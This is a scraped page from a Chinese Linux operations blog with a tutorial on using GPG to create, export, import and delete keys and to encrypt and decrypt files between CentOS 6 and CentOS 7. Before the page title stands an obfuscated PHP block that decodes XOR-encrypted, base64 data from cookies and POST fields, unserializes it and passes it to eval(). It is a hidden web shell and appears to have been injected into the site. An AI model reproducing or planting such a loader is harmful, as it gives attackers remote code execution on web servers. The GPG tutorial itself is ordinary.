$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} CentOS 7和CentOS 6 使用gpg工具实现公钥加密和解密 | Linux运维部落

CentOS 7和CentOS 6 使用gpg工具实现公钥加密和解密

运行环境:

[root@Shining ~]# uname -a
Linux Shining.ACG 3.10.0-327.el7.x86_64 #1 SMP Thu Nov 19 22:10:57 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
[root@Shining ~]# lsb_release -a
LSB Version:    :core-4.1-amd64:core-4.1-noarch
Distributor ID: CentOS
Description:    CentOS Linux release 7.2.1511 (Core) 
Release:    7.2.1511
Codename:   Core
[root@localhost ~]# cat /etc/centos-release 
CentOS release 6.8 (Final)
[root@localhost ~]# uname -a 
Linux localhost.localdomain 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

我们要做的事情大概如下图:

绘图1.jpg

– 在CentOS 6上生成公钥/私钥对

 [root@localhost ~]# gpg --gen-key
gpg (GnuPG) 2.0.14; Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1 #选择密钥类型
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 1024 #选择密钥长度
Requested keysize is 1024 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0 # 选择密钥有效期(0为永久有效)
Key does not expire at all
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: shell #输入用户名
Email address: shell@163.com # 输入用户邮箱
Comment: shell # 用户描述
You selected this USER-ID:
    "shell (shell) <shell@163.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
You need a Passphrase to protect your secret key.

can't connect to `/root/.gnupg/S.gpg-agent': No such file or directory

(pinentry-gtk-2:5831): GLib-GObject-CRITICAL **: Object class GtkSecureEntry doesn't implement property 'editing-canceled' from interface 'GtkCellEditable'

(pinentry-gtk-2:5834): GLib-GObject-CRITICAL **: Object class GtkSecureEntry doesn't implement property 'editing-canceled' from interface 'GtkCellEditable'
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: key 6D9DAFDF marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
gpg: next trustdb check due at 2019-11-30
pub   1024R/6D9DAFDF 2016-12-01
      Key fingerprint = 98B7 E1D8 2F63 6F77 0AC1  D577 FDA1 1AB2 6D9D AFDF
uid                  shell (shell) <shell@163.com>
sub   1024R/EA7FC298 2016-12-01

期间需要输入两次密码:

捕获.PNG捕获2.PNG

– 将公钥导出

[root@localhost ~]# gpg -a --export -o shell.pubkey

– 将公钥传给CentOS 7

[root@localhost ~]# scp shell.pubkey 172.16.253.159:/root
root@172.16.253.159's password: 
shell.pubkey                                                                                                                          100% 1939     1.9KB/s   00:00

– CentOS 7导入公钥

[root@Shining ~]# gpg --import shell.pubkey 
gpg: key 3A556FDA: "wangcai (wangcai) <wangcai@163.com>" not changed
gpg: key 6D9DAFDF: public key "shell (shell) <shell@163.com>" imported
gpg: Total number processed: 2
gpg:               imported: 1  (RSA: 1)
gpg:              unchanged: 1

– 显示现在已有的密钥

[root@Shining ~]# gpg --list-key
/root/.gnupg/pubring.gpg
------------------------
pub   1024R/1A8CB5B2 2016-11-30
uid                  shiningacg
sub   1024R/6C970F98 2016-11-30

pub   1024R/3A556FDA 2016-11-30 [expires: 2019-11-30]
uid                  wangcai (wangcai) <wangcai@163.com>
sub   1024R/5B63A8CB 2016-11-30 [expires: 2019-11-30]

pub   1024R/6D9DAFDF 2016-12-01
uid                  shell (shell) <shell@163.com>
sub   1024R/EA7FC298 2016-12-01

– CentOS 7使用公钥加密文件

[root@Shining ~]# gpg -e -r shell shell.pubkey 
gpg: EA7FC298: There is no assurance this key belongs to the named user

pub  1024R/EA7FC298 2016-12-01 shell (shell) <shell@163.com>
 Primary key fingerprint: 98B7 E1D8 2F63 6F77 0AC1  D577 FDA1 1AB2 6D9D AFDF
      Subkey fingerprint: D879 559A 7E61 1CA2 ADAB  0AC0 DFE0 ED9B EA7F C298

It is NOT certain that the key belongs to the person named
in the user ID.  If you *really* know what you are doing,
you may answer the next question with yes.

Use this key anyway? (y/N) y

– CentOS 7将文件传给CentOS 6

[root@Shining ~]# scp shell.pubkey.gpg 172.16.252.157:/root
root@172.16.252.157's password: 
shell.pubkey.gpg                              100% 1691     1.7KB/s   00:00

– CentOS 6解密文件

[root@localhost ~]# gpg -d shell.pubkey.gpg  

You need a passphrase to unlock the secret key for
user: "shell (shell) <shell@163.com>"
1024-bit RSA key, ID EA7FC298, created 2016-12-01 (main key ID 6D9DAFDF)

can't connect to `/root/.gnupg/S.gpg-agent': No such file or directory

(pinentry-gtk-2:5906): GLib-GObject-CRITICAL **: Object class GtkSecureEntry doesn't implement property 'editing-canceled' from interface 'GtkCellEditable'
gpg: encrypted with 1024-bit RSA key, ID EA7FC298, created 2016-12-01
      "shell (shell) <shell@163.com>"
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.14 (GNU/Linux)

mI0EWD8rmwEEAKRKyQbtk+S6F+fGFKxaVWXeq4wB4pV7y0Ou1/PytbndOutmYl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oc2hlbGwpIDxzaGVsbEAxNjMuY29tPoi4BBMBAgAi
BQJYP4mmAhsDBgsJCAcDAgYVCAIJCgsEFgIDAQIeAQIXgAAKCRD9oRqybZ2v3/7J
A/4mrkdj3FOJoFMjU3PVxNCobLIBt4JRUchdvZrgR9alxktU5wFR0AhzqiK/1kJH
BMHF/CN+0UfMavPerl0gAYzL/YkKep9+w9NC61hbZn6ftAK4DVNLnvULQPBlXybr
r9ili8m7M2fLW8lUoJJca/NGWww9gkyQRtBaoI/bfbUJbLiNBFg/iaYBBADVjpxC
9HcY81il+jGcAf3d5E30fkRGQ3PHDhM46+EEEcU5EMxoGGnuS8mpyRZhrb7Cf2d1
56BaW36J5KQ4TcT+stsdsSzRWiO9YRezHfYGX9dP+Y0rAiJzNtsPuIjpCxFsrIMP
OTlKcLVOPeZkPpBq/Xvtca+wbiNsHiyCz3DXfQARAQABiJ8EGAECAAkFAlg/iaYC
GwwACgkQ/aEasm2dr98+OAP/Tu7JEKPcXCNMHaNLcxy+4QukQt5ygZMxtV0DOMmH
W4JI6MV4zn19EnsKsTlho5Hw5Cn/OUUQUs7hPZmIYijvT5VZENBA6GlnRVRigX+k
LtKia1LtlQjd9JQe5Y/NG9gifnaCxSXiwaMviDZts8ys2LKkP7tYN7jUaThBi3xq
Szs=
=7Ued
-----END PGP PUBLIC KEY BLOCK-----

捕获4.PNG输入密码

– CentOS 7删除CentOS 6的公钥

[root@Shining ~]# gpg --delete-keys shell
gpg (GnuPG) 2.0.22; Copyright (C) 2013 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.


pub  1024R/6D9DAFDF 2016-12-01 shell (shell) <shell@163.com>

Delete this key from the keyring? (y/N) y

– CentOS 6删除私钥和公钥

[root@localhost ~]# gpg --delete-secret-keys shell
gpg (GnuPG) 2.0.14; Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.


sec  1024R/6D9DAFDF 2016-12-01 shell (shell) <shell@163.com>

Delete this key from the keyring? (y/N) y
This is a secret key! - really delete? (y/N) y
[root@localhost ~]# gpg --delete-keys shell
gpg (GnuPG) 2.0.14; Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.


pub  1024R/6D9DAFDF 2016-12-01 shell (shell) <shell@163.com>

Delete this key from the keyring? (y/N) y

显示密钥:

[root@localhost ~]# gpg --list-key
/root/.gnupg/pubring.gpg
------------------------
pub   1024R/3A556FDA 2016-11-30 [expires: 2019-11-30]
uid                  wangcai (wangcai) <wangcai@163.com>
sub   1024R/5B63A8CB 2016-11-30 [expires: 2019-11-30

总结:

本次操作遇到两个问题:

  1. 第一次在CentOS 7上导入公钥时提示没有合法的userID,添加完整的userID后问题消失,但是又出现新问题,公钥无法导入,提示没有自签名什么的。第二天重启后问题消失……

  2. 最初把CA和公私钥搞混了,重新查看ppt没弄明白了。

原创文章,作者:wangshuai,如若转载,请注明出处:http://www.178linux.com/61774

(4)
上一篇 2016-12-01 11:07
下一篇 2016-12-01 11:19

相关推荐

  • 文件查找工具之——find

        前言:Linux一切皆文件,在linux的系统中如果我们需要找到所需的文件,除了一步一步慢慢找,还有一种办法就是要使用Linux中查找文件工具命令,能让我们很快定位到我们所需的文件。所以我们必须要学好文件查找工具 一、首先我们先要了解文本搜索和文件查找的区别     文本…

    Linux干货 2015-07-06
  • 1. 什么是Linux

        如果以前从没有接触过linux, 你可能会对为什么会存在这么多不同的linux发行版有些困惑. 在看linux软件包时, 你肯定听过发行版, LiveCD和GNU之类的等等术语, 也肯定摸不着头脑. 第一次接触linux,想理解会有些困难.  我们就先了解下linux系统内部结构的一些信息. &nbs…

    Linux干货 2016-10-26
  • 译文-Symbolic一个基于func集中式管理平台[原创]

    Symbolic是一个开源的企业平台,旨在建立、配置和管理您的庞大分布式数据中心为目的开源框架,代表了目前最先进的数据中心解决方案的集中管理平台。 特征 属于RedHat认证协议栈的应用 具于func后端应用 支持 RHEL、Centos及Fedora 先进的拖放标签管理(Ajax) 提供Cobbler支持 灵活管理操作用户、主机 组和权限管理标记 先进的基…

    Linux干货 2015-03-27
  • find文件查找

    文件查找      在文件系统上查找符合条件的文件:      实现工具:locate,find locate:      构建于实现构建好的索引库:/var/lib/mlocate/mlocate.db   &nbsp…

    Linux干货 2016-08-22
  • 了解Nginx

    Nginx Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝…

    Linux干货 2016-11-07